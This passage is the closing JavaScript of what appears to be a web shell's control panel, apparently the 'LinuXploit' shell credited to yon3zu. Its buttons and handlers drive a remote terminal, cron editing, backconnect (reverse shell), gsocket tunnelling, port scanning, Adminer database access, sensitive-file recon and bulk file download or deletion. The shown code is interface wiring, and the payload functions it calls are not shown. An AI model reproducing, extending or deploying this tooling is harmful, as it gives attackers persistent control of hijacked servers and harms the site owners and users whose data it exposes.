  S.view=v; localStorage.setItem('gecko_view',v);
  $('#btnList').classList.toggle('active',v==='list');
  $('#btnGrid').classList.toggle('active',v==='grid');
  renderList();
}
S.view=localStorage.getItem('gecko_view')||'list';
$('#btnList').classList.toggle('active',S.view==='list');
$('#btnGrid').classList.toggle('active',S.view==='grid');

// ─── Wire-up ─────────────────────────────────────────────────────
$('#btnRefresh').onclick=$('#sbRefresh').onclick=()=>navigate(S.path);
$('#btnTerm').onclick=$('#sbTerm').onclick=openTerm;
$('#sbCron').onclick=openCron;
$('#sbBackconnect').onclick=openBackconnect;
$('#sbGsocket').onclick=openGsocket;
$('#sbPortScan').onclick=openPortScan;
$('#sbAdminer').onclick=openAdminer;
$('#cronReload').onclick=loadCron;
$('#cronSave').onclick=saveCron;
$('#bcStart').onclick=startBackconnect;
$('#gsRun').onclick=runGsocket;
$('#psScan').onclick=runPortScan;
$('#dbRun').onclick=runDbQuery;
$('#dbTablesBtn').onclick=loadDbTables;
$('#dbOpenAdminer').onclick=()=>window.open('?adminer=1','_blank');
$('#sbSecHub').onclick=()=>openSecHub('recon');
$('#sbSecRecon').onclick=()=>openSecHub('recon');
$('#sbSecSensitive').onclick=()=>openSecHub('sensitive');
$('#sbSecHttp').onclick=()=>openSecHub('http');
$('#sbBlueHub').onclick=()=>openBlueHub('backdoor');
$('#sbBlueBackdoor').onclick=()=>openBlueHub('backdoor');
$('#sbBlueAudit').onclick=()=>{ openBlueHub('fullaudit'); };
$('#sbNewFile').onclick=()=>showCreate('file');
$('#sbNewFolder').onclick=()=>showCreate('folder');
$('#sbUpload').onclick=()=>openM('#mUpload');
$('#sbDelSel').onclick=deleteSelected;
$('#btnList').onclick=()=>setView('list');
$('#btnGrid').onclick=()=>setView('grid');
$('#btnUp').onclick = () => {
    const p = S.path;
    if (!p) return;
    
    // Handle Windows drive path
    if (p.match(/^[A-Za-z]:\//)) {
        let drive = p.substring(0, 2);
        let afterDrive = p.substring(2).replace(/^\//, '');
        
        if (!afterDrive) {
            // At drive root, go to default base or stay
            return;
        } else {
            let parts = afterDrive.split('/');
            parts.pop();
            let newPath = drive + '/' + (parts.join('/') || '');
            if (newPath !== drive + '/') {
                newPath = newPath + '/';
            }
            navigate(newPath);
        }
    }
    // Handle absolute Linux path
    else if (p.startsWith('/')) {
        if (p === '/') return;
        
        let cleanPath = p;
        if (cleanPath !== '/' && cleanPath.endsWith('/')) {
            cleanPath = cleanPath.slice(0, -1);
        }
        
        const parts = cleanPath.split('/');
        parts.pop();
        let newPath = parts.join('/') || '/';
        if (newPath !== '/') {
            newPath = newPath + '/';
        }
        navigate(newPath);
    }
    // Handle relative path
    else {
        const pts = p.split('/');
        pts.pop();
        navigate(pts.join('/'));
    }
};

// ─── Sidebar drawer (mobile) ─────────────────────────────────────
const sidebar = $('#sidebar');
const sbBackdrop = $('#sbBackdrop');
const btnBurger = $('#btnBurger');
const isMobile = () => window.matchMedia('(max-width: 960px)').matches;

function openSidebar(){
  if (!isMobile()) return;
  sidebar.classList.add('open');
  sbBackdrop.classList.add('show');
  // Frame delay supaya transition sempat dipicu
  requestAnimationFrame(()=>sbBackdrop.classList.add('open'));
  btnBurger.setAttribute('aria-expanded','true');
  document.body.style.overflow = 'hidden';
}
function closeSidebar(){
  sidebar.classList.remove('open');
  sbBackdrop.classList.remove('open');
  btnBurger.setAttribute('aria-expanded','false');
  document.body.style.overflow = '';
  // Hapus .show setelah transition selesai agar backdrop tidak menghalangi klik
  setTimeout(()=>{ if (!sbBackdrop.classList.contains('open')) sbBackdrop.classList.remove('show'); }, 240);
}
function toggleSidebar(){
  sidebar.classList.contains('open') ? closeSidebar() : openSidebar();
}
btnBurger.addEventListener('click', toggleSidebar);
sbBackdrop.addEventListener('click', closeSidebar);

// Auto-close drawer ketika user menekan tombol di sidebar (di mobile)
sidebar.addEventListener('click', e => {
  if (!isMobile()) return;
  const btn = e.target.closest('.sb-btn');
  if (btn) closeSidebar();
});

// Auto-close ketika resize ke desktop
let resizeRaf;
window.addEventListener('resize', () => {
  cancelAnimationFrame(resizeRaf);
  resizeRaf = requestAnimationFrame(() => {
    if (!isMobile() && sidebar.classList.contains('open')) closeSidebar();
  });
});

// ─── Hotkeys ─────────────────────────────────────────────────────
document.addEventListener('keydown',e=>{
  if(e.ctrlKey&&e.key==='k'){e.preventDefault();if(searchInput)searchInput.focus()}
  if(e.ctrlKey&&e.key==='`'){e.preventDefault();openTerm()}
  if(e.key==='F5'){e.preventDefault();navigate(S.path)}
  if(e.ctrlKey&&e.key==='s'&&$('#mEditor').classList.contains('open')){e.preventDefault();saveEditor()}
  if(e.key==='Escape'){
    if (sidebar.classList.contains('open')) closeSidebar();
    if (S.selected.size) clearSelection();
    closeAll();
  }
});

const _bulkDelBtn = $('#bulkDel');
if(_bulkDelBtn) _bulkDelBtn.onclick = deleteSelected;
const _bulkDlBtn = $('#bulkDl');
if(_bulkDlBtn) _bulkDlBtn.onclick = bulkDownload;
const _bulkCloseBtn = $('#bulkClose');
if(_bulkCloseBtn) _bulkCloseBtn.onclick = clearSelection;

// ─── Init ─────────────────────────────────────────────────────────
const initPath = new URLSearchParams(location.search).get('path') || '';

// Load info dan drives di background (non-blocking, error-safe)
loadInfo();
loadDrives();

// Navigate ke path awal (hanya SEKALI, tidak duplicate)
navigate(initPath);
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit